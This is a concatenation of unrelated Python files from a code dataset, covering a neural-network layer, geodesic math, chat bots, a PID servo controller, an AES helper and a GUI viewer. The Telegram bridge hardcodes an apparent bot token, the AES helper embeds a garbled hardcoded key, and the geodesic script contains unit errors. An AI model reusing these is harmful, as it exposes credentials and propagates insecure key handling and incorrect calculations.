153\n","sub_path":"tests/test_commands/test_data_highscores.py","file_name":"test_data_highscores.py","file_ext":"py","file_size_in_byte":4006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"451982829","text":"from typing import Tuple, Callable\nimport numpy as np\nfrom scipy.signal import correlate2d\n\nfrom ..base import NeuralLayer, NeuralLayerFactory\nfrom ..activation import ActivationFunc\n\n\nclass Conv2D(NeuralLayer):\n def __init__(self,\n isize: Tuple[int, int, int],\n kernel_size: Tuple[int, int],\n channel: int,\n activation: ActivationFunc,\n eta: float) -> None:\n self.isz = isize\n self.osz = (isize[0] - kernel_size[0] + 1,\n isize[1] - kernel_size[1] + 1,\n channel)\n self.k = kernel_size\n self.activation = activation\n self.eta = eta\n # self.W = np.random.rand(\n # self.k[0], self.k[1], isize[2], channel) * 2 - 1\n #self.bias = np.random.rand(1, 1, 1, channel) * 2 - 1\n self.W = np.random.randn(\n self.k[0], self.k[1], isize[2], channel)\n self.dW = np.zeros_like(self.W)\n self.dW_tmp = np.zeros_like(self.W)\n self.bias = np.random.randn(1, 1, 1, channel)\n self.dbias = np.zeros_like(self.bias)\n\n def isize(self) -> np.ndarray:\n return np.array(self.isz)\n\n def osize(self) -> np.ndarray:\n return np.array(self.osz)\n\n def activate(self, net: np.ndarray) -> np.ndarray:\n assert np.isfinite(net).all()\n return self.activation.f(net)\n\n def update_eta(self, update: Callable[[float], float]) -> None:\n self.eta = update(self.eta)\n\n def net(self, X: np.ndarray) -> np.ndarray:\n assert np.isfinite(X).all()\n X = X.reshape((len(X), *self.isz))\n net = np.zeros((len(X), *self.osz))\n chi = self.isz[2]\n ro, co, cho = self.osz\n if len(X)*cho*chi < ro * co:\n for i in range(len(X)):\n for j in range(cho):\n for k in range(chi):\n net[i, :, :, j] += correlate2d(\n X[i, :, :, k],\n self.W[:, :, k, j],\n mode='valid')\n else:\n net_mult = np.zeros((len(X), *self.W.shape))\n for i in range(ro):\n r_start = i\n r_end = i+self.k[0]\n for j in range(co):\n c_start = j\n c_end = j+self.k[1]\n np.multiply(\n X[:, r_start:r_end, c_start:c_end, :, np.newaxis],\n self.W[np.newaxis, :, :, :, :],\n out=net_mult)\n np.sum(net_mult, axis=(1, 2, 3), out=net[:, i, j, :])\n assert np.isfinite(net).all()\n net += self.bias\n assert np.isfinite(net).all()\n return net.reshape((len(X), ro*co*cho))\n\n def train(self, dE: np.ndarray, out: np.ndarray, net: np.ndarray, X: np.ndarray) -> np.ndarray:\n delta = self.activation.delta(\n dE, net, out=out).reshape((len(X), *self.osz))\n X = X.reshape((len(X), *self.isz))\n\n dE_in = np.zeros((len(X), *self.isz))\n dW = np.zeros(self.W.shape)\n\n ri, ci, chi = self.isz\n ro, co, cho = self.osz\n\n if len(X) * chi * cho < ro * co:\n Wrot180 = np.rot90(self.W, 2, axes=(0, 1))\n for i in range(len(X)):\n for j in range(chi):\n for k in range(cho):\n dE_in[i, :, :, j] += \\\n correlate2d(\n delta[i, :, :, k],\n Wrot180[:, :, j, k],\n mode='full')\n dW[:, :, j, k] += \\\n correlate2d(\n X[i, :, :, j],\n delta[i, :, :, k],\n mode='valid')\n else:\n dE_mult = np.zeros((len(X), *self.W.shape))\n dE_tmp = np.zeros((len(X), *self.k, self.isz[2]))\n self.dW.fill(0)\n dW_mult = np.zeros((len(X), *self.W.shape))\n for i in range(ro):\n r_start = i\n r_end = i+self.k[0]\n for j in range(co):\n c_start = j\n c_end = j+self.k[1]\n\n np.multiply(\n self.W[np.newaxis, :, :, :, :],\n delta[:, i:i+1, j:j+1, np.newaxis, :],\n out=dE_mult)\n np.sum(dE_mult, axis=4, out=dE_tmp)\n dE_in[:, r_start:r_end, c_start:c_end, :] += dE_tmp\n\n np.multiply(\n X[:, r_start:r_end, c_start:c_end, :, np.newaxis],\n delta[:, i:i+1, j:j+1, np.newaxis, :],\n out=dW_mult)\n np.sum(dW_mult, axis=0, out=self.dW_tmp)\n self.dW += self.dW_tmp\n\n eta = self.eta / len(X)\n np.multiply(self.dW, eta, out=self.dW)\n self.W += self.dW\n\n np.sum(delta, axis=(0, 1, 2), out=self.dbias.reshape(delta.shape[3:]))\n np.multiply(self.dbias, eta, out=self.dbias)\n self.bias += self.dbias\n\n return dE_in.reshape((len(X), ri*ci*chi))\n\n\nclass Conv2DFactory(NeuralLayerFactory):\n def __init__(self, kernel_size: Tuple[int, int], channel: int,\n activation: ActivationFunc,\n eta: float) -> None:\n self.k = kernel_size\n self.ch = channel\n self.f = activation\n self.eta = eta\n\n def set_isize(self, isize: np.ndarray) -> NeuralLayer:\n assert len(isize.shape) == 1\n assert len(isize) == 3\n assert isize.dtype == int\n r, c, ch = isize\n return Conv2D(isize=(r, c, ch),\n kernel_size=self.k, channel=self.ch,\n activation=self.f,\n eta=self.eta)\n","sub_path":"src/ann/nnlib/layers/conv.py","file_name":"conv.py","file_ext":"py","file_size_in_byte":5863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"140937717","text":"\r\n#NOT NATIVE ENGLISH SPEAKER\r\n#This code makes the inverse of the transport of geodesic coordinates;\r\n#You have two points with geodesic latitude and geodesic longitude, and the algorithm\r\n#calculate the distance between this points on the Ellipsoid, and the azimuth between them, and the counter azimuth\r\n\r\nimport math\r\na = 6378137.0\r\ne = 2*(1/298.2572221)- pow((1/298.2572221),2)\r\nb = 6356752.314\r\n\r\n#Latitude and Longitude of the two points\r\n#Negative latitude = Souht,Negative longitude =West\r\nlatitude_a = -7.639675\r\nlongitude_a = -43.15739444\r\nlatitude_b = -7.509799444\r\nlongitude_b = -43.08809167\r\n\r\n#delta1 is the diference btw longitude of the two points in seconds.\r\ndeltal = (longitude_b - longitude_a )*3600\r\n\r\n\r\n#Nb and Na are the great normal of the ellipsoid in the point A and B\r\nnb=a/((pow(1-((e*pow((math.sin(latitude_b*0.017453292)),2))),0.5)))\r\nna=a/((pow(1-((e*pow((math.sin(latitude_a *0.017453292)),2))),0.5)))\r\n\r\nma =(a*(1-e))/((pow((1-((e*pow((math.sin(longitude_a *0.017453292)),2)))),1.5)))\r\n\r\n\r\nD = ((3*e*math.sin(latitude_a *0.017453292)*math.cos(latitude_a *0.017453292)*math.sin(0.000277777*0.017453292))/(2*(pow(1-(e*pow(math.sin(latitude_a *0.017453292),2)),1.5))))\r\n\r\n#dfi is the diference between longitude of A and B in seconds\r\ndfi= (latitude_a - latitude_b)*3600\r\n\r\n#E,C,B,E are related to specific parameters of the geodesical datum/ wich is diferent for diferent regions\r\n\r\nE = (1+(3*pow(math.tan(latitude_a *0.017453292),2)))/(6*pow(na,2))\r\nC = math.tan(latitude_a *0.017453292)/(2*ma*na*math.sin(0.000277777*0.017453292))\r\nB = 1/(ma*math.sin(0.000277777*0.017453292))\r\nE = (1+(3*pow(math.tan(latitude_a *0.017453292),2)))/(6*pow(na,2))\r\n\r\n#CALCULATION OF THE AZIMUTH\r\n#main equation: Tg α = X/Y / where α is the azimuth\r\n#the terms x,y and Ab are determined by:\r\nAb = 1/(nb*math.sin(0.000277777*0.017453292))\r\nx = (deltal*math.cos(latitude_b*0.017453292))/Ab\r\ny = (1/B)*(dfi-(D*pow(dfi,2))+ (dfi*E*pow(x,2))- (C*pow(x,2)))\r\n#az is the azimuth/ wich is calculated by and the inverse funciont of tangent\r\naz = math.degrees(math.atan(x/y))+180\r\nprint(\"azimutg is : ,\",az)\r\n\r\n\r\n\r\n\r\n\r\n#Calculation of the geodesic distance between the two poinst \r\n#main equation : S*sin(α) = Δλ”cos( latitude_b) /Ab /Where S is the geodesic distance and α is the azimuth \r\nS = x/math.sin(az*0.017453292)\r\nprint(\"distance is : \",S)\r\n\r\n#Calculation of the counter azimuth \r\ndeltal2 = longitude_b - longitude_a \r\ndfi2= (latitude_a - latitude_b)\r\nfim = (latitude_a +latitude_b)/2\r\nF = (1/12)*math.sin(fim*0.017453292)*pow(math.cos(fim),2)*pow(math.sin(0.000277777*0.017453292),2)\r\n\r\n\r\n#Caza is the counter azimuth / wich is very close to the sum of the azimuth +180°\r\nCaza = az -(deltal2*math.sin(fim)*(1/math.cos(dfi2/2))) - (F*pow(deltal2,3))+180\r\nprint(\"contra azimute: \",Caza)\r\n","sub_path":"inverse_transport_geodesic.py","file_name":"inverse_transport_geodesic.py","file_ext":"py","file_size_in_byte":2815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"95244503","text":"from multiprocessing import Process, Pipe\nfrom os import getpid, urandom\nfrom time import sleep\nfrom enum import Enum\nimport binascii\n\nfrom telegram import Updater\nfrom telegram.dispatcher import run_async\n\nid = 0\ntelegram_conn = 0\nwhatsapp_to_telegram = dict()\n\nclass Command(Enum):\n message = 1\n token = 2\n token_ack = 3\n\n@run_async\ndef got_telegram(bot, update, **kwargs):\n print(update.message.chat_id)\n telegram_conn.send([Command.message, update.message.chat_id, update.message.text])\n\n global id\n id = update.message.chat_id\n\ndef got_whatsapp(bot, update):\n if id != 0:\n bot.sendMessage(id, text=update)\n\ndef get_token(bot, update):\n token = binascii.hexlify(urandom(3)).decode('utf8')\n\n bot.sendMessage(update.message.chat_id, text=\"Generated token: \"+token)\n telegram_conn.send([Command.token, token])\n\ndef start_telegram(conn):\n print(\"Telegram: \" + str(getpid()))\n global telegram_conn\n telegram_conn = conn\n\n updater = Updater(\"192484269:AAGBW1zGBzlWypp7ApGX-3mtKeE6WVGnPbk\")\n\n # Get the dispatcher to register handlers\n dp = updater.dispatcher\n\n # Message handlers only receive updates that don't contain commands\n dp.addTelegramMessageHandler(got_telegram)\n\n # got a whatsapp message\n dp.addStringRegexHandler('[^/].*', got_whatsapp)\n\n dp.addTelegramCommandHandler(\"token\", get_token)\n\n # All TelegramErrors are caught for you and delivered to the error\n # handler(s). Other types of Errors are not caught.\n #dp.addErrorHandler(error)\n\n # Start the Bot and store the update Queue, so we can insert updates\n update_queue = updater.start_polling(poll_interval=0.1, timeout=10)\n\n while True:\n if not conn.poll():\n sleep(0.01)\n continue\n\n a = conn.recv()\n \n print(a[1])\n \n if a[0] == Command.message:\n update_queue.put(a[1])\n elif a[0] == Command.token_ack:\n whatsapp_to_telegram[a[1]] = a[2]\n\ndef start_whatsapp(conn):\n print(\"Whatsapp: \" + str(getpid()))\n \n while True:\n if conn.poll():\n # got a message from telegram\n print(conn.recv())\n\n conn.send([1000, \"Test\"])\n sleep(2)\n\nif __name__== \"__main__\":\n conn1, conn2 = Pipe()\n\n telegramProcess = Process(target=start_telegram, args=(conn2,))\n whatsappProcess = Process(target=start_whatsapp, args=(conn1,))\n \n # start both event loops\n telegramProcess.start()\n whatsappProcess.start()\n\n telegramProcess.join()\n whatsappProcess.join()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"30183475","text":"from sources.functions import *\nimport os\nfrom linking_utilities.dibur_hamatchil_matcher import match_ref\ndef dher(str):\n dh = re.search(\"<b>(.*?)</b>\", str)\n return dh.group(1) if dh else \"\"\n\nif __name__ == \"__main__\":\n links = []\n for ritva_section in library.get_index(\"Ritva on Pesachim\").all_section_refs():\n comments = ritva_section.text('he').text\n ritva_section = ritva_section.normal()\n pesachim_section = ritva_section.replace(\"Ritva on \", \"\")\n links += match_ref_interface(pesachim_section, ritva_section, comments, lambda x: x.split(), dher)\n results = post_link(links, VERBOSE=True, server=\"https://www.sefaria.org\")\n print(results)\n\n\n\n\n\n\n # ritva = \"Ritva on Pesachim - he - Chiddushei haRitva, Warsaw 1864.csv\"\n # pesachim = \"Pesachim - he - William Davidson Edition - Aramaic.csv\"\n # files = [pesachim, ritva]\n # text_dict = {\"Pesachim\": [], \"Ritva on Pesachim\": []}\n # for i, file_name in enumerate(files):\n # with open(file_name) as f:\n # file_name = file_name.replace(\".csv\", \"\")\n # title = file_name.split(\" - \")[0]\n # lang = file_name.split(\" - \")[1]\n # vtitle = file_name.split(\" - \", 2)[2]\n # for row in csv.reader(f):\n # if row[0].startswith(title):\n # TextChunk(Ref(row[0]), lang=lang, vtitle=vtitle).save()\n #\n #\n","sub_path":"sources/Ritva/re_link_pesachim.py","file_name":"re_link_pesachim.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"462224970","text":"import unittest\nimport os\nimport numpy as np\n\nfrom tensorflow.keras.models import load_model\n\nfrom pymouse.io.preprocess import minmax_normalize, minmax_unnormalize\n\n\nclass ModelPredictionsTest(unittest.TestCase):\n \"\"\"Sanity checks on model predictions.\n \"\"\"\n def setUp(self):\n \"\"\"\n Initializing the parameters:\n n_channels:\n shapes: tuples with channels_first shapes\n images & labels: numpy arrays\n extractors: 2D and 3D versions for all the patch extractor classes.\n \"\"\"\n # bringing the current working dir to ai_mouse_movements/\n os.chdir(os.path.abspath('../'))\n os.chdir(os.pardir)\n\n weights_name = 'lstm_weights_4mil_2250epochs_constant_lr.h5'\n model_path = os.path.join('js/src/model/', weights_name)\n self.model = load_model(model_path)\n\n\n def test_integer_predictions(self):\n \"\"\"Checks that the predictions on integer destinations are acceptable.\n \"\"\"\n # sample dest\n dest_test = [[600, 500], [300, 200], [200, 100], [1924, 5], [5, 1924],\n [0, 0], [50, 50]]\n\n for dest_sample in dest_test:\n dest = np.asarray(dest_sample)[None] # shape (1, 2)\n dest_norm = minmax_normalize(dest, norm_range=[0, 1],\n minmax=[-2265.0, 2328.0])\n pred = self.model.predict(dest_norm)\n pred_unnorm = minmax_unnormalize(pred, minmax=[-2265.0, 2328.0],\n norm_range=[0, 1])\n \n self.assertTrue(np.where(pred_unnorm < 0)[0].size == 0,\n 'There should be no negative coordinates.')\n\n\nunittest.main(argv=[''], verbosity=2, exit=False)","sub_path":"tests/python/test_model_pred.py","file_name":"test_model_pred.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"462122551","text":"from pyrogram import Client, Filters, StopPropagation, InlineKeyboardButton, InlineKeyboardMarkup\n\n\n@Client.on_message(Filters.command([\"help\"]))\nasync def start(client, message):\n\talpha2 = InlineKeyboardMarkup([\n\t\t[InlineKeyboardButton(\"📢Support Group\", url=\"HTTPS://t.me/jzmodsofc\")],\n\t\t[InlineKeyboardButton(\"Channel\", url=\"https://t.me/jzmodsyt\")]\n ])\n\n\thelp_image = \"https://telegra.ph/file/de0aebb87a93cdff61c0c.jpg\"\n\tawait message.reply_photo(help_image, caption=\"HELP 📃...**\\n \\n__• Just Youtube video url 🌟__ \\n__• Select video/mp3 format __\\n \\n__• ```Bot Deployed By Jasim & Arsal``` 🚨\\n\",reply_markup=alpha2)\n","sub_path":"plugins/help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"82090440","text":"import numpy as np\nfrom scipy.optimize import newton, bisect\nfrom scipy.special import digamma\n\n\ndef fit_exp(values, weights):\n return (values * weights).sum() / weights.sum()\n\n\ndef fit_normal(values, weights):\n ws = weights.sum()\n mu = (values * weights).sum() / ws\n diffs = values - mu\n sigma = np.sqrt((diffs * diffs * weights).sum() / ws)\n return mu, sigma\n\n\ndef fit_gamma(values, weights):\n N = weights.sum()\n weighted_value_sum = (values * weights).sum()\n constant = np.log(weighted_value_sum / N) - (weights * np.log(values)).sum() / N\n def f(k):\n try:\n return np.log(k) - digamma(k) - constant\n except:\n print(k)\n a = 0.5\n b = 1.0\n while np.isfinite(b) and f(a) * f(b) > 0: # While they have the same sign\n if f(a) < 0:\n a /= 2\n if f(b) > 0:\n b *= 2\n if np.isfinite(b):\n k = bisect(f, a, b)\n else:\n k = 1\n theta = weighted_value_sum / (N * k)\n return k, theta\n","sub_path":"algorithms/weighted_fitters.py","file_name":"weighted_fitters.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"386276168","text":"# -*- coding: utf-8 -*-\n'''lojban dictionary'''\nimport sys, json\nclass Dictionary:\n def __init__(self, json_path='./data/origin/jbovlaste.json'):\n with open(json_path, 'r', encoding='utf-8') as text:\n DICTIONARY = json.loads(text.read())\n self.words = DICTIONARY['words']\n self.quotations = DICTIONARY['quotations']\n self.users = DICTIONARY['users']\n\n def get_word(self, valsi):\n for data in self.words:\n if data['word'] == valsi:\n return data\n for data in self.words:\n if valsi in data['rafsi'].values():\n return data\n def get_words(self, *valsis):\n return [self.get_word(valsi) for valsi in valsis]\n\n\n","sub_path":"scripts/dictionary.py","file_name":"dictionary.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"475141377","text":"# -*- coding: utf-8 -*-\n\n# This script runs a PID control to reach a desired set temperature\n# The output is servo setpoint values\n\n# Developed by Akram Ali\n# Last updated on: 02/13/2020\n\nfrom pathlib import Path\nimport Adafruit_PCA9685\nfrom simple_pid import PID\nimport time\nimport os\nimport json\n\n# set all temporary directories\ntemp_data_dir = '/home/pi/datalogger/temp_data'\ncontrol_node_id_dir = '/home/pi/control_node'\nauto_scripts_dir = '/home/pi/auto_scripts'\njson_dir = '/home/pi/control_node/'\n\n# get node ID\nnode_ID = [\".\".join(f.split(\".\")[:-1]) for f in os.listdir(control_node_id_dir) if f.endswith(\".node\")]\n\n# initialize global objects and variables\npwm = Adafruit_PCA9685.PCA9685() # create Adafruit library object\npwm.set_pwm_freq(60) # Set frequency to 60hz, good for servos.\n\npid_temp_sleep_interval = 30 # default sleep interval for script\npid = PID(1, 0.1, 0.05)\nsp = 400 # starting setpoint\nsetpoint = 75 # starting set temperature\npid.sample_time = 60 # update every 60 seconds\npid.output_limits = (-200, 200) # output value will be between -200 and 200\npid_temp_offset = 0.1 # default offset\n\ntime.sleep(5) # sleep a bit initially\n\n# read config json file\ndef load_config():\n attempts = 0\n while attempts < 3:\n try:\n with open(json_dir + 'config.json', 'r') as f:\n data = json.load(f)\n break\n except:\n attempts += 1\n time.sleep(0.1)\n return data\n\n\n# get latest setpoint from file\ndef read_setpoint():\n global setpoint\n try:\n file = open('%s/%s.csv' % (temp_data_dir, node_ID[0]),'r') # get data from control file\n data = file.readline()\n file.close()\n except:\n pass\n parsed_data = {}\n try:\n for p in data.strip().split(\",\"): #strip() removes trailing \\n\n k,v = p.split(\":\")\n parsed_data[k] = v if v else 0.00\n setpoint = int(parsed_data.get('y'))\n except:\n pass\n\n\n# get latest temperature from file\ndef read_temp():\n try:\n file = open('%s/%d.csv' % (temp_data_dir, int(node_ID[0])+1),'r') # get data from TRH node file\n data = file.readline()\n file.close()\n except:\n return 0\n parsed_data = {}\n try:\n for p in data.strip().split(\",\"): #strip() removes trailing \\n\n k,v = p.split(\":\")\n parsed_data[k] = v if v else 0.00\n temperature = parsed_data.get('t')\n temperature_f = float(temperature)\n temperature_f *= 1.8\n temperature_f += 32 # convert to Fahrenheit\n return temperature_f\n except:\n return 0\n\n\n#set PWM output of the servo\ndef set_new_PWM(output, current_temp):\n global sp\n global setpoint\n global config\n\n # output = round(output * 10) # make the output larger for quicker changes to the PID control\n # output = int(output)\n\n if current_temp - setpoint > 0:\n sp = sp + abs(output)\n elif current_temp - setpoint < 0:\n sp = sp - output\n\n if config[0]['acf']['servo_type'] == 'normal':\n s_start = 635\n s_end = 150\n elif config[0]['acf']['servo_type'] == 'special_servo':\n s_start = 600\n s_end = 130\n\n if sp > s_start:\n sp = s_start\n elif sp < s_end:\n sp = s_end\n\n # set servo PWM based on setpoint\n pwm.set_pwm(0, 0, sp)\n\n # print (\"Temp: \" + str(current_temp) + \" Setpoint: \" + str(setpoint) + \" PID output: \" + str(output) + \" PWM setpoint: \" + str(sp))\n\n\n# get latest parameters for the PID function from the config file\ndef update_PID_params():\n global pid_temp_sleep_interval\n global pid_temp_offset\n\n if config[0]['acf']['control_strategy'] == 'pid_temp' or config[0]['acf']['control_strategy'] == 'pid_temp_motion':\n kp = float(config[0]['acf']['proportional_gain'])\n ki = float(config[0]['acf']['integral_gain'])\n kd = float(config[0]['acf']['derivative_gain'])\n sample_time = int(config[0]['acf']['pid_sample_time'])\n pid_lower_limit = int(config[0]['acf']['pid_lower_limit'])\n pid_upper_limit = int(config[0]['acf']['pid_upper_limit'])\n pid_temp_offset = float(config[0]['acf']['pid_temp_offset'])\n pid_temp_sleep_interval = int(config[0]['acf']['pid_temp_sleep_interval'])\n\n pid.tunings = (kp, ki, kd)\n pid.sample_time = sample_time # update every 60 seconds\n pid.output_limits = (pid_lower_limit, pid_upper_limit) # output value will be between -200 and 200\n\n\n# save current PID output to file so it can be logged\ndef save_pid_output(output):\n try:\n file = open('%s/pid_output.csv' % auto_scripts_dir, 'w') \n file.write(str(output))\n file.close()\n except:\n pass\n\n# loop forever\nwhile True:\n config = load_config()\n update_PID_params()\n\n read_setpoint() # get latest setpoint\n pid.setpoint = float(setpoint) # assign new setpoint to PID function\n\n current_temp = read_temp() # read current temperature\n\n # tune PID function to react faster\n if setpoint >= (current_temp + pid_temp_offset):\n pid_temp = current_temp + pid_temp_offset\n elif setpoint < (current_temp - pid_temp_offset):\n pid_temp = current_temp - pid_temp_offset\n\n output = pid(float(pid_temp)) # feed tuned temperature into PID function and get output\n save_pid_output(output) # save current output to file so it can be logged\n\n set_new_PWM(int(output), float(current_temp)) # set servo based on PID output\n\n time.sleep(pid_temp_sleep_interval) # sleep so script doesn't bog down","sub_path":"RPi_firmware/TRV_v6.2_scripts/auto_scripts/pid_temp.py","file_name":"pid_temp.py","file_ext":"py","file_size_in_byte":5618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"371257333","text":"from __future__ import unicode_literals\n\nfrom django.contrib.auth.models import User\nfrom django.db import models\n\n# Create your models here.\nclass Product(models.Model):\n\n name = models.CharField(max_length=256, default='',)\n product_model_name = models.CharField(default='', max_length=256)\n number_of_parts = models.IntegerField(default=0)\n size_long = models.FloatField(default=0)\n size_width = models.FloatField(default=0)\n size_height = models.FloatField(default=0)\n easy_level = models.IntegerField(default=0)\n product_image_url = models.CharField(max_length=256, blank=True)\n\n def __str__(self):\n return self.name\n\n# class HUser(User):\n#\n#","sub_path":"Home/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"506530778","text":"import pandas as pd\nfrom sklearn.model_selection import train_test_split\n\nfrom src.features.transformations import (\n driver_distance_to_pickup,\n driver_historical_completed_bookings,\n hour_of_day,\n)\nfrom src.utils.store import AssignmentStore\n\n\ndef main():\n store = AssignmentStore()\n\n dataset = store.get_processed(\"dataset.csv\")\n dataset = apply_feature_engineering(dataset)\n\n store.put_processed(\"transformed_dataset.csv\", dataset)\n\n\ndef apply_feature_engineering(df: pd.DataFrame) -> pd.DataFrame:\n return (\n df.pipe(driver_distance_to_pickup)\n .pipe(hour_of_day)\n .pipe(driver_historical_completed_bookings)\n )\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"125_model_run_folder_SAMPLE/src/features/build_features.py","file_name":"build_features.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"220093547","text":"# -*- coding: UTF-8 -*-\nimport logging\nimport json\nfrom base64 import b64encode, b64decode\nfrom Cryptodome .Cipher import AES\nfrom Cryptodome .Util.Padding import pad, unpad\nfrom Cryptodome .Random import get_random_bytes\n\n__pgmname__ = \"crypto\"\n\nlog = logging.getLogger(__pgmname__)\n\nBLOCK_SIZE = 16\n\n\ndef encryption(key, decoded):\n cipher = AES.new(key, AES.MODE_CBC)\n ct_bytes = cipher.encrypt(pad(decoded, AES.block_size))\n iv = b64encode(cipher.iv).decode('utf-8')\n ct = b64encode(ct_bytes).decode('utf-8')\n encoded = json.dumps({'iv': iv, 'ciphertext': ct})\n return encoded\n\ndef decryption(key, encoded):\n try:\n b64 = json.loads(encoded)\n iv = b64decode(b64['iv'])\n ct = b64decode(b64['ciphertext'])\n cipher = AES.new(key, AES.MODE_CBC, iv)\n decoded = unpad(cipher.decrypt(ct), AES.block_size)\n return decoded\n except (ValueError, KeyError):\n raise DecryptionError('Unable to Decrypt')\n\ndef genkey():\n return get_random_bytes(BLOCK_SIZE)\n\n\nclass DecryptionError(Exception):\n pass\n\n\nif __name__ == '__main__':\n test = \"m99041\"\n key = 'YGQ\u001Fx$��.\u0003\u0015g�J;�'\n test_en = encryption(key, test)\n test_de = decryption(key, test_en)\n print(test_de == test)\n","sub_path":"jetCore/crypto_aes.py","file_name":"crypto_aes.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"262217225","text":"from itertools import count\nfrom traceback import print_tb\nimport PySimpleGUI as sg # インポート\nfrom tkinter import *\nfrom tkinter import ttk\nimport csv\nimport colorsys\nimport math\n'''\n#データ取得\nストレージの.csvファイルを開いて中身を取得\ncsvの各行1次元に,csvの各列をその中の2次元目の要素として、二次元配列orリストに格納\n# 画面\nスマホ画面を模したウィンドウ作成\nその上部分には各地点にターゲットが敷き詰められている(button35個)\nbuttonをタップすると対応する地点のターゲット(button)だけが残り\nそのターゲットに対応する軌跡が30行(タスク数)分表示される->なにかしら使って直線描く\n\n'''\n#---------class1で最初のターゲットたくさんの画面と、押した時のデータ\nclass MainDisplay:\n def __init__(self):\n ''' ここからデータ取得 '''\n\n csv_file = open(\"Trajectory.csv\", \"r\", errors=\"\", newline=\"\",encoding=\"shift_jis\")\n #リスト形式\n f = csv.reader(csv_file, delimiter=\",\", doublequote=True, lineterminator=\"\\r\\n\", quotechar='\"', skipinitialspace=True)\n\n self.pointerlist = []\n for row in f: #全行分回す\n i=0\n while i<len(row):\n if '\\n' in row[i]:\n tmp=list(map(lambda x:x.replace(',', ' , '), row[i].replace('\"', ' ').replace('\\n', ' ').replace(' , ', ',').split()))\n row=row[:i]+tmp+(row[i+1:] if i<len(row) else [])\n i=0\n continue\n i=i+1\n #rowはList\n #row[0]で必要な項目を取得することができる\n self.pointerlist.append(row) #2次元配列pointerlist\n\n\n '''ここから見た目'''\n # ウィンドウの内容を定義する\n #画面上部に縦5x横7=35個のbutton配置(150*150)\n\n self.layout = [ ] # レイアウト->ウィンドウに設定するやつ\n #column = [ ]\n self.width = 1080 #nexus5の画面ピクセル比率(1080,1920)のまま縮小\n self.height = 1920\n self.bairitu = 1/3 #1/3倍にしている\n\n #button作成\n # ボタンを縦5横7=35個配置\n for j in range(5):\n #column.append([])\n self.layout.append([])\n for i in range(7):\n # ボタンの名前(テキスト)を設定\n button_name = \"(\" + str(i) + \",\" + str(j)+ \")\"\n\n # ボタンのインスタンス作成\n button = sg.Button(\n button_text=button_name,\n image_filename='button_image.png',\n image_subsample=5, #1/3にしている\n image_size=(500, 500), #width,height\n key= \"button_\"+str(i)+\"_\"+str(j)\n )\n #column[j].append(button)\n self.layout[j].append(button)\n\n\n #layout.append(column)\n # ウィンドウを作成する(button押下後に作成するsubDispley用関数も作成)\n self.window = sg.Window('MainDisplay', self.layout, size=(int(self.width*self.bairitu), int(self.height*self.bairitu))) # ウィンドウ定義(サイズとか)\n\n #第2画面設定->pointerの軌跡表示ウィンドウ\n def make_subdisplay(self):\n subdisp = SubDisplay(self)\n subdisp.make_trajectory()\n del subdisp \n\n def main(self):\n while True: #リスナーの役割をしているらしい。何かのイベントが起きたらここの中の処理が動くように実装する\n\n '''window.read()はinput()のように入力待ちの状態です。\n 入力を受け取るまではこの行でずっと待機していて、\n イベントが発生したら(key, value)のタプル形式でイベントを受け取ります'''\n event, values = self.window.read() # イベントループまたは Window.read 呼び出し->.readで[イベントが発生したよ]という情報をevent変数に伝えている\n print(event) #eventが'button_0_0'。valuesはよくわからんけど'{}'が出力\n tarpoii = event\n if event.startswith(\"button\"): #(今回の場合はevent)keyがbuttonから始まるなら->buttonを押した時の処理\n _,x,y = event.split(\"_\") #eventを_区切りで分割 右側がlistになる 変数yとxに押されたボタンのindex的なものが入る\n\n #押されたbuttonの情報取得\n self.y = int(y)*150\n self.x = int(x)*150\n\n #押されたボタンに対応した軌跡データ行だけ抽出\n self.p_tra_array = [] \n self.splitarray = []\n for plist in self.pointerlist: #リストの長さ分繰り返す。要素の一つめと\"y\"\"x\"が一致している行だけ抜き出す\n if plist[0] == (str(self.x)+\" , \"+str(self.y)): #リストの0要素目(ターゲット座標)がボタンと同じ行だけp_tra_arrayに抜き出した\n self.p_tra_array.append(plist) ###この時点で、押したボタンの座標に対応した行(30行分)だけ入ってる\n sarray = []\n for pl in plist[2:]: #plistの3番目から(スライス)\n if \" , \"in pl:\n sarray.append(pl.split(\" , \")) ##splitarrayの1次元目が[0]~[29]行情報、2次元目の0=x座標,1=y座標\n self.splitarray.append(sarray)\n\n \n #print(splitarray[5]) #splitarray[行][列][x座標 or y座標]が出力できる\n self.make_subdisplay()\n\n\n \n '''\n ・押されたbutton以外は非表示にしたい ->よくわからん!layout[]の中にcolumn[]要素を入れて、そのcolumnを表示非表示するらしいけどできない\n └別ウィンドウを適宜作成するようにする\n\n ・画面下にリセットボタン(非表示などを初期状態に戻す)\n ・一行ずつ表示できるように仕様変えるべきかも???(後回し)\n ----- ここに処理を書く-----\n\n yとxに押されたbuttonの識別子が入っているから、各行の最初の文字と比較することで対応する軌跡の行を抽出できる(はず)\n 